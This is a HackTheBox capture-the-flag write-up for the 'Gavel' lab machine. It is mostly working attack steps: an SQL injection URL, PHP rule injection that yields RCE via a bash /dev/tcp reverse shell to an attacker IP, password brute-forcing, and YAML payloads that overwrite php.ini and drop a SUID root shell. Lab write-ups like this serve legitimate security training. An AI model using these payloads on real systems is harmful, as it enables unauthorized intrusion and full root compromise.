HACKTHEBOX MEDIUM
Kasemsh 2026  ·  Nov 29, 2025

gavel

Gavel is a medium-difficulty Linux machine that demonstrates the exploitation of a misused SQL PDO statement to achieve SQL injection and extract data from an internal database. The scenario further highlights a PHP code-injection flaw that is exploited to execute remote commands, thereby enabling initial access to the target. Privilege escalation is achieved by targeting a root-owned daemon that processes user-supplied YAML files; by submitting a crafted YAML payload, PHP code is executed within a sandboxed environment with root privileges.

Category
Linux
Architecture
Windows
Protections
writeup_by
@KasemSH
gavel
Release DateNov 15, 2025
DifficultyMedium [30 pts]
User Blood 0H 55M 28S HTB Badge
Root Blood 1H 41M 31S HTB Badge
Creator HTB Badge
Author HTB Badge

Recon

# Nmap 7.95 scan initiated Sun Nov 30 00:52:12 2025 as: /usr/lib/nmap/nmap --privileged -sVC -oN nmap/gavel 10.10.11.97
Nmap scan report for gavel.htb (10.10.11.97)
Host is up (0.12s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 1f:de:9d:84:bf:a1:64:be:1f:36:4f:ac:3c:52:15:92 (ECDSA)
|_  256 70:a5:1a:53:df:d1:d0:73:3e:9d:90:ad:c1:aa:b4:19 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Gavel Auction
|_http-server-header: Apache/2.4.52 (Ubuntu)
| http-git: 
|   10.10.11.97:80/.git/
|     Git repository found!
|     .git/config matched patterns 'user'
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: .. 
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Nov 30 00:52:26 2025 -- 1 IP address (1 host up) scanned in 13.45 seconds

host

sudo echo -e '\n10.10.11.97 gavel.htb' | sudo tee -a /etc/hosts

Directory Fuzzing

initial access

dump all git files

git-dumper https://gavel.htb/.git git

possible username

we have two role user and auctioneer

checking the user we have sado not taken and auctioneer is taken

there is no rate limiting. fuzzing for password and we get midnight1

the intended way with SQLi

https://gavel.htb/inventory.php?user_id=x`+FROM+(SELECT+group_concat(username,0x3a,password)+AS+`%27x`+FROM+users)y;--+-&sort=\?;--+-%00

we have admin panel

edit role is vulnerable to Remote Code Execution

💬Remote Code Execution (RCE) via Auction Rule Injection

Vulnerability: The application uses runkit_function_add() in bid_handler.php to dynamically create and execute a PHP function from the auctions.rule database field.

Root Cause:

runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $rule);
ruleCheck(...);

The $rule value is user-controllable by users with the auctioneer role via admin.php.

Impact:

  • Full RCE as the web server user (www-data)
  • Ability to read/write files, spawn reverse shells, deploy web shells
  • Potential privilege escalation via SUID binaries or misconfigurations

Exploitation:

  1. Edit an active auction’s rule in admin.php:
    system('/usr/bin/bash -i >& /dev/tcp/10.10.x.x/9001 0>&1'); return true;
    

user flag

# we start a listener
penelope -p 9001
# or 
nc -lnvp 9001

we place a bid on the same item we change the rule for

and we get a shell

we have to user root auctioneer

and we logged in as auctioneer with midnight1

we are in gavel-seller

root flag

💡Step 1: Clear disable_functions via php.ini overwrite

Because the app loads PHP from a writable php.ini, we used a file_put_contents() payload in the rule field to re-enable dangerous functions:

[!code] Payload

rule: "file_put_contents('/opt/gavel/.config/php/php.ini', 'engine=On\\ndisplay_errors=On\\ndisplay_startup_errors=On\\nlog_errors=Off\\nerror_reporting=E_ALL\\nopen_basedir=/opt/gavel\\nmemory_limit=32M\\nmax_execution_time=3\\nmax_input_time=10\\ndisable_functions=\\n'); return true;"

[!check]+ Result
system(), exec(), and all other functions were restored
⚠️ open_basedir remained, but we could now run shell commands inside /opt/gavel


🔴Step 2: SUID Shell Drop via system()

With system() re-enabled, we used a follow-up payload to drop a root-owned SUID shell:

[!code] Payload

rule: "system('cp /bin/bash /opt/gavel/bash && chmod 4755 /opt/gavel/bash'); return true;"

[!check]+ Result
/opt/gavel/bash became a SUID binary
Running it with -p gave a root shell:

/opt/gavel/bash -p
id
uid=0(root) gid=0(root) groups=0(root)

Final Outcome

[!list]+ What Was Achieved:

  • Overwrote php.ini to bypass sandbox restrictions
  • Gained unrestricted system() execution
  • Created a persistent root-level shell via SUID
  • Escalated from limited PHP sandbox to full root access

change /opt/gavel/.config/php/php.ini file to allow php functions to execute

---
name: "RootShell"
description: "Re-enabled system()"
image: "https://example.com/test.png"
price: 1
rule_msg: "Popping root shell"
rule: "file_put_contents('/opt/gavel/.config/php/php.ini', 'engine=On\ndisplay_errors=On\ndisplay_startup_errors=On\nlog_errors=Off\nerror_reporting=E_ALL\nopen_basedir=/opt/gavel\nmemory_limit=32M\nmax_execution_time=3\nmax_input_time=10\ndisable_functions=\n'); return true;"
/usr/local/bin/gavel-util submit pwn.yaml

---
name: "RootShell"
description: "Re-enabled system()"
image: "https://example.com/test.png"
price: 1
rule_msg: "Popping root shell"
rule: "system('cp /bin/bash /opt/gavel/bash && chmod 4755 /opt/gavel/bash'); return true;"

/usr/local/bin/gavel-util submit root.yaml

bash have suid

we are root